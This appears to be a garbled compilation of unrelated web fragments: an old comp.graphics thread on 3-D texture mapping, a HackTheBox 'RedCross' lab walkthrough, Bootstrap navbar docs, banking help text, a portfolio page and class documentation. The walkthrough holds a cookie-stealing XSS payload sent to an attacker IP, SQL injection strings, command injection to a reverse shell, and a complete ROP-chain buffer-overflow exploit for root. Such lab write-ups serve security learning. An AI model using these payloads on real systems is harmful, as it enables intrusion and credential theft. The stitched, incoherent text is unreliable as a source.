I would strongly recommend obtaining copies of both DBW_Render and QRT, as both have very good texture mapping routines. DBW uses absolute spatial coordinates to determine texture, while QRT uses a relative position per each object type mapping. DBW has some really interesting features, like sinusoidal reflection to simulate waves, a turbulence-based marble/wood texture based on the wave sources defined for the scene. It as well has a brick texture, checkerboard, and mottling (turbulent variance of the color intensity). Writing a texture routine in DBW is quite simple, since you're provided with a host of tools (like a turbulence function, noise function, color blending, etc.). I have recently created a random-color texture that uses the turbulence to redefine the base color based on the spatial point given, which it then blends into the object's base color using the color blend routines. Next will be a turbulent-color marble texture that will modify the marble vein coloring according to the turbulent color. Also in the works are random color checkerboarding (this will require a little more thought), variant brick height and mortar color (presently they are hard-wired), the list is almost endless. I would think the ideal ray-tracer would be one that used QRT's user-definable texture patches which are then mapped onto the object, as well as DBW's turbulence/wave based routines. The latter would have to be absolute coordinate based, while the former can use QRT's relative position functions. In any case, getting copies of both of these would be the most convenient, as there's no reason to reinvent the wheel.
________
From<EMAIL_ADDRESS>(Ranjit Bhatnagar) 4211 Pine St., Phila PA 19104 Newsgroups: comp.graphics Subject: Re: Texture mapping by spatial position Organization: University of Pennsylvania
The combination of 3-d spatial texture-mapping (where the map for a particular point is determined by its position in space rather than its position on the patch or polygon) with a nice 3-d turbulence function can give really neat results for marble, wood, and such. Because the texture is 3-d, objects look like they are carved out of the texture function rather than veneered with it. It works well with non-turbulent texture functions too, like bricks, 3-d checkerboards, waves, and so on. However, there's a disadvantage to this kind of texture function that I haven't seen discussed before: as generally proposed, it's highly unsuited to _animation._ The problem is that you generally define one texture function throughout all of space. If an object happens to move, its texture changes accordingly. It's a neat effect - try it - but it's not what one usually wants to see.
The obvious solution to this is to define a separate 3-d texture for each object, and, further, _cause the texture to be rotated, translated, and scaled with the object._ DBW does not allow this, so if you want to do animations of any real complexity with DBW, you can't use the nice wood or marble textures.
This almost solves the problem. However, it doesn't handle the case of an object whose shape changes. Consider a sphere that metamorphoses into a cube, or a human figure which walks, bends, and so on. There's no way to keep the 3-d texture function consistent in such a case.
Actually, the real world has a similar defect, so to speak. If you carve a statue out of wood and then bend its limbs around, the grain of the wood will be distorted. If you want to simulate the real world in this way and get animated objects whose textures stay consistent as they change shape, you have to use ordinary surface-mapped (2-d) textures. But 3-d textures are so much nicer for wood, stone, and such! There are a couple of ways to get the best of both worlds: [I assume that an object's surface is defined as a constant set of patches, whether polygonal or smooth, and though the control points may be moved around, the topology of the patches that make up the object never changes, and patches are neither added to or deleted from the object during the animation.]
1) define the base-shape of your object, and _sample its surface_ in the 3-d texture. You can then use these sample tables as ordinary 2-d texture maps for the animation.
2) define the base-shape of your object, and for each metamorphosized shape, keep pointers to the original shape. Then, whenever a ray strikes a point on the surface of the metamorphed shape, find the corresponding point on the original shape and look up its properties (i.e. color, etc.) in the 3-d texture map. [Note: I use ray-tracing terminology but the same trick should be applicable to other techniques.]
The first technique is perhaps simpler, and does not require you to modify your favorite renderer which supports 2-d surface texture maps. You just write a preprocessor which generates 2-d maps from the 3-d texture and the base-shape of the object. However, it is susceptible to really nasty aliasing and loss of information. The second technique has to be built into the renderer, but is amenable to all the antialiasing techniques possible in an ordinary renderer with 3-d textures, such as DBW. Since the notion of 'the same point' on a particular patch when the control points have moved is well-defined except in degenerate cases, the mapping shouldn't be a problem -- though it does add an extra level of antialiasing to worry about. [Why? Imagine that a patch which is very large in the original base-shape has become very small - sub-pixel size - in the current animated shape. Then a single pixel-sized sample in the current shape could be mapped to a large part of the original - using, for instance, stochastic sampling or analytic techniques.]
If anyone actually implements these ideas, I'd like to hear from you (and get credit, heh heh, if I thought of it first). I doubt that I will have the opportunity to try it.
________
From<EMAIL_ADDRESS>(Jack Ritter) Organization: Versatec, Santa Clara, Ca. 95051
[Commenting on Ranjit's posting]
It seems to me that you could solve this problem by transforming the center/orientation of the texture function along with the object that is being instantiated. No need to store values, no tables, etc. The texture function must of course be simple enough to be so transformable.
Example, wood grain simulated by concentric cylindrical shells around an axis (the core of the log):
Imagine the log's center line as a half-line vector, (plus a position, if necessary), making it transformable. Imagine each object type in its object space, BOLTED to the log by an invisible bracket. As you translate and rotate the object, you also sling the log around. But be careful, some of these logs are heavy, and might break your teapots. I use only natural logs myself.
Jack Ritter, S/W Eng. Versatec, 2710 Walsh Av, Santa Clara, CA 95051 Mail Stop 1-7.<PHONE_NUMBER>, or<PHONE_NUMBER> X 5743 UUCP: {ames,apple,sun,pyramid}!versatc!ritter
back to contents


Create Blog Post with Validated Backing Bean
Please check the form for invalid input.
All error messages as list:
Title
Invalid title
Slug
Invalid slug
Content
Invalid content
Visible
Invalid visible
Submit


Flowchart of several ways to gain access:
PDF with contact form > create account > login as guest > SQLi > use Charles' cookie -> Access to admin.redcross
| -> ----------------------- > use Guest's cookie -> Access to admin.redcross
> XSS in contact form ------------- > use Admin cookie -> Access to admin.redcross
Add firewall rule > add user > ftp or ssh to find iptctl.c > CMDi > shell > fake penelope to postgres > shell as penelope
|-> > CMDi > shell as penelope
|-> > haraka exploit > shell as penelope
Add user with sudoers group > ssh as user > run sudo Root
Add user with root group > find additional postgres user > add user with UID 0 > ssh > Root
BOF iniptctl Root
Virtual host routing
https://intra.redcross.htb
gobuster for pages
wfuzz for subdomains -H 'Host: FUZZ.redcross.htb'
sqli once logged in as guest
extractvalue()
Nested queries
(select SCHEMA_NAME from INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1)-- -
(select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA like "redcross" LIMIT 0,1)-- -
(select COLUMN_NAME from INFORMATION_SCHEMA.COLLUMNS where TABLE_NAME like "users" LIMIT 0,1)-- -
etc
error-based
Contact-form
Documents/account-signup.pdf
Send a message page=contact
Credentials
username=pleasesubscribe
555 555 555
Please use these credentials in the meantime: guestguest
Maybe XSS through the contact form as well?
credentials
username=<script>document.write('<img src="http://IP/pleasesubscribe.gif?cookie' + document.cookie + '" />')</script>
555 555 5555
Oops, someone is trying to do something nasty...
But the phone number field isn't protected!
grab the cookie from the request that comes in
cookie=<>&DOMAIN=admin
a lot of PHPsession ids work (even Guest's), to access the admin.redcross.htb site
admin.redcross.htb
user management. Creating users with random passwords.
These credentials provide actual ssh access! A lot of things are hidden in the ssh.
Look around and find: home/public/src/iptctl.c
Grab source and copy to kali
Firewall management
Whitelisting IP addresses....whitelist our address. Cool.
Nmap again to see if anything was being filtered from our view.
CMDi in ip= for DROP iptables command
rev shell as www-data
Check out web dir. init.php has db credentials.
init.php in admin as more db credentials for postgres
Other pages and things we missed in the website.
$ psql -h <IP_ADDRESS> -U unixusermgr unix
This is where our addusers command is being stored
use openssl to generate passwd:
openssl passwd -1 PleaseSubscribe
insert into passwd_table (username,passwd,uid,gid,homedir) values ('ipp,'<pas>','0','0','/root')
permission denied, looks like we can't write to the uid variable
insert into passwd_table (username,passwd,gid,homedir) values ('ipp,'<pas>','0','/root')
Find nss-pgsql-root.conf and more database user credentials
user=unixnssroot
psql -h <IP_ADDRESS> -U unixnssroot unix
Now we should be able to edit/add users with UID
su <new_root_user>
Other ports after firewall was open:
21, 22, 80, 443, 1025, 5432
1025 is new/unknown
nc
220 redcross ESMTP Haraka 2.8.8
Exploit (random script): exploits/linux/remote/41162.py
Exploit (msf): exploit/linux/smtp/haraka
Shell returned as uid=1000(penelope)
Standard user shell that will need to escalate.
Add a user with GID=27 (sudoers)
gain sudo privileges and sudo su
Last challenge is Buffer Overflow (DEP ASLR)
./iptctl -i
Interactive mode
Action(allow|restrict|show): show AAAAAAAAAA*10
Segmentation fault
Cool, Buffer Overflow time
pattern_offset: 30
checksec
DEP: Enabled
ASLR: Disabled
redcross# objdump -D -j .plt iptctl | grep \@plt need to dump plt to see what kind of ROP chains we can build
400760 <execvp@plt>:
400780 <setuid@plt>:
The binary itself doesn't have ASLR enabled, even though the host might. So the PLT of the binary is useful!
gdb: find sh
iptctl : 0x40046e --> 0x7063727473006873 ('sh')
Need to find some pop RDI and pop RSI gadgets, which we can find using radare
# r2 iptctl
> /R pop rdi
0x00400de3 pop rdi ret
> /R pop rsi
0x00400de1 pop rsi pop r15 ret
> exit
finished exploit:
$ (cat /dev/shm/out.txt; cat) | ./iptctl -i
whoami
root
====================================================
#/usr/bin/python2
import struct
import os
def p64(addr):
return struct.pack('<q', addr)
junk = "A" * 30
# need pop RDI and pop RSI since these are where the first
# two arguments are stored. Grabbed from radare (or disassembler)
pop_rdi = p64(0x00400de3) # pop rdi; ret
pop_rsi = p64(0x00400de1) # pop rsi; pop r15; ret
# PLT dumped with objdump: objdump -D -j .plt iptctl | grep \@plt
execvp_plt = p64(0x400760)
setuid_plt = p64(0x400780)
# SH string found in debugger: find sh
sh_str = p64(0x40046e)
# null byte is just null byte
null_byte = p64(0x0)
payload = "show"
payload += junk
#### ROP CHAIN BEGINS ####
# calling setuid(0) (requires one argument) #
payload += pop_rdi # grab next and pop rdi
payload += null
payload += setuid_plt # use it for setuid
# finished calling setuid #
# calling Execvp(sh,0) #
payload += pop_rdi # grab next and pop rdi
payload += sh_str # put /bin/dash
payload += pop_rsi # grab next and pop rsi; pop r15
payload += null # 0 in rsi
payload += null # 0 in r15
payload += execvp_plt # call execvp
## finished calling execvp
#### ROP CHAIN ENDS #####
payload += "\n<IP_ADDRESS>"
#exe_pointer = "BBBB"
#payload = "show" + junk + exe_pointer + "\n<IP_ADDRESS>"
print payload
===================================================


- SMOKE ALARMS
- About Smoke Alarms
- Schedule a Free Installation
- FIRE SAFETY
- Home Escape Plan
- EMERGENCY SERVICES
- First Aid Kits
- Red Cross First Aid App
- CITY FIRE DEPARTMENT
- Fire Safety Pledge
- Fire House Locator
- News & Events
- Radio Stream
- CREDITS
- Contributors
- Developers


Methods
clear()
Clear or empty the dictionary.
- Source:
each(callbackFunc)
Iterate over all elements of the Iterator and execute a callback function for each.
Parameters:
| Name | Type | Description |
|---|---|---|
callbackFunc |
function | A callback function to execute against each element of the Iter |
first() → {*}
Get first element of the current Iter.
Returns:
The first element of the current Iter
- Type
- *
hasNext() → {boolean}
Check whether the Iter has a next element.
Returns:
True if the Iter has a next element, false otherwise
- Type
- boolean
next() → {array}
Get the next element in the collection as an array containing the key and value.
Returns:
An array containing the key and value of the next element, or undefined
- Type
- array
reset()
Reset the references used to traverse the Iter.


QRCanvas
Oops
Unfortunately, your browser is too old to work for this application. Please upgrade your browser.


shkajshdkjsfeubfcksdeufgdbsdihfcsdbfciehfs
Information about color tags
Information about color tags
| Heading | ||
|---|---|---|
| Column 1 | Column 2 | Column 3 |
| Cell Spanning in 3 Rows (2nd and 3rd merged) | Cell Spanning in 2 Rows (1st and 2nd Cell merged) | 1st Cell |
| 2nd Cell | ||
| 3rd Cell | ||
| 3rd Cell | 4th Cell |


Main Organiser
Design Responsible
Academic Responsible
Information Technology Responsible
Participants Responsible
Logistics Responsible


Recommendation Engine
Select User
Select User
Toggle Dropdown
Happy
Angry
Sad
Neutral
No Coupon
Collaborative Filtering Recommendations
Deep Learning Recommendations


Welcome to my profile!
Currently a first year undergraduate student of Birla Institute of
Technology pursuing my Bachelor's degree in Production Engineering.
I am a coding enthusiast and really into the tech world. I love
technology and have a keen interest in learning how things work.
I also have a keen interest in photography.
Hi there!
I am Abhishek Kumar Ghosh
Coding Enthusiast | Photographer | Guitarist
About
Skills
C
C++
HTML
CSS
MySQL
Git & Github
Additional Skills
Photography
Playing guitar
Adobe Photoshop
Projects
Contact
Would you like to get in touch with me to discuss more about technology, then encounter with me from the contact below:


it's an example with all possibilities, see further for more precision.
Example with a basic menu with the brand and 5 menu
Just place a form content with .navbar-form.
We can add a button directly to the navbar. We just need to add the .navbar-btn
class to button not in a form.
Use a p
tag with .navbar-text
class
We can use a dropdown directly in a navbar we just need to add the component dropdown into an li.
We can align a form, button, link or text with .navbar-left
or .navbar-right
classes.
That allow to align correctly the content.
We can inverse the classic color of a navbar by adding .navbar-inverse
| Class | tag | Description | Info |
|---|---|---|---|
| .navbar | first div, nav | Define the navbar | |
| .navbar-default | first div, nav | Define the classic color for navbar | |
| .navbar-inverse | first div, nav | Define inverse color for navbar | |
| .navbar-fixed-top | first div, nav | Fixed the navbar to top |
Include a div with .container into navbar. Warning : Add padding to body, to avoid that navbar overlay other content. (by default, navbar as 50px height) |
| .navbar-fixed-bottom | first div, nav | Fixed the navbar to bottom |
Include a div with .container into navbar. Warning : Add padding to body, to avoid that navbar overlay other content. (by default, navbar as 50px height) |
| .navbar-static-top | first div, nav | Fixed the navbar to top |
Include a div with .container into navbar. Warning : Don't need to add padding to body |
| Class | tag | Description | Info |
|---|---|---|---|
| .navbar-header | div after nav | Define the navbar-header | |
| .navbar-toggle | button | Use for small screen, to display navbar like a menu | Warning : Don't forget to add data-toggle="collapse" and correct data-target |
| .icon-bar | span | Show a bar | |
| .navbar-brand | a | Display the content with more visibility. Usefull for a home link | We can use a image with a tag img into a with .navbar-brand class |
| Class | tag | Description | Info |
|---|---|---|---|
| .navbar-collapse | div | Define the navbar to be collapse if we are in small screen | Warning : Don't forget to add .collapse class to the div |
| .navbar-nav | ul | Define the link into navbar | |
| .active | li | Show the link active, also to show the current status | |
| .disabled | li, dropdown | Desactive a link | |
| .dropdown | li | Allow to use dropdown into navbar, see dropdown docs | |
| .navbar-form | form | Allow to use form into navbar. | |
| .navbar-left | ul, form, p, button | Align the content to left. | |
| .navbar-right | ul, form, p, button | Align the content to right | |
| .navbar-btn | button | Vertically center button into navbar | |
| .navbar-text | p | Allow to use text into navbar |


Escape From Nobody: The Game
Hello, traveller! Now you can play in brand new game from couple developers from Ukraine! Let me explain you rules:
1) You can control the character using the arrows ←, →, ↑, ↓;
2) To restart the level use "R";
3) Black squares are abysses (you can't step on them);
4) Blue and orange cirles is portals ( is enter to portal, is exit);
5) Strange and mysterious man is your enemy.
7) Step on button to open a secret passage (or to activate something).
That's all, that you need to know. Enter your nick in text field and enjoy it!


{% extends "base.html" %} {% block title %}Code Time{% endblock %} {% block navbar %} {% include 'navbar.html' %} {% endblock %} {% block app_content %}
CodeTime is a plugin for Sublime Text editor which will help developers to track the amount of time spent on multiple files, programming languages and projects. The user will be able to perform the analysis of the time spent to improve the productivity by analysing the most frequently used programming language, most productive time of the day, files in project which took maximum time for development and projects which took maximum time for completion.
The developer can add the project deadlines to the plugin and the plugin can help developers stick to their goal by predicting the finish time of the project based on the data gathered from the user. Multiple developers can compete with each other through a leaderboard where a leaderboard will display the ranking of most productive developer and admin/manager can easily monitor the productivity of each and every developer with the help of a common interface.
{% endblock %}


If you don't have your card reader to hand, you can do one of the following:
- Use the Mobile PINsentry function from the latest version of the Barclays Mobile Banking app1
- Contact Telephone Banking on 0845 755 55552
- Log in with your Online Banking 5-digit passcode and memorable word
- Order an additional or replacement PINsentry card reader by calling the Online Banking Helpdesk on 0845 600 23233
1. You need to be 16 or over and have a Barclays current account and a UK-registered mobile number. You'll also need a web-enabled iPhone or Android smartphone.
2. To maintain a quality service, we may monitor or record phone calls. Read our call charges and information
3. Lines are open 24 hours every day. To maintain a quality service, we may monitor or record phone calls. Read our call charges and information


|
|
| PerlinNoise (double _persistence, double _frequency, double _amplitude, int _octaves, int _randomseed) |
| |
|
double | GetHeight (double x, double y) const |
| |
|
double | Persistence () const |
| |
|
double | Frequency () const |
| |
|
double | Amplitude () const |
| |
|
int | Octaves () const |
| |
|
int | RandomSeed () const |
| |
|
void | Set (double _persistence, double _frequency, double _amplitude, int _octaves, int _randomseed) |
| |
|
void | SetPersistence (double _persistence) |
| |
|
void | SetFrequency (double _frequency) |
| |
|
void | SetAmplitude (double _amplitude) |
| |
|
void | SetOctaves (int _octaves) |
| |
|
void | SetRandomSeed (int _randomseed) |
| |
Definition at line 5 of file PerlinNoise.h.
The documentation for this class was generated from the following files: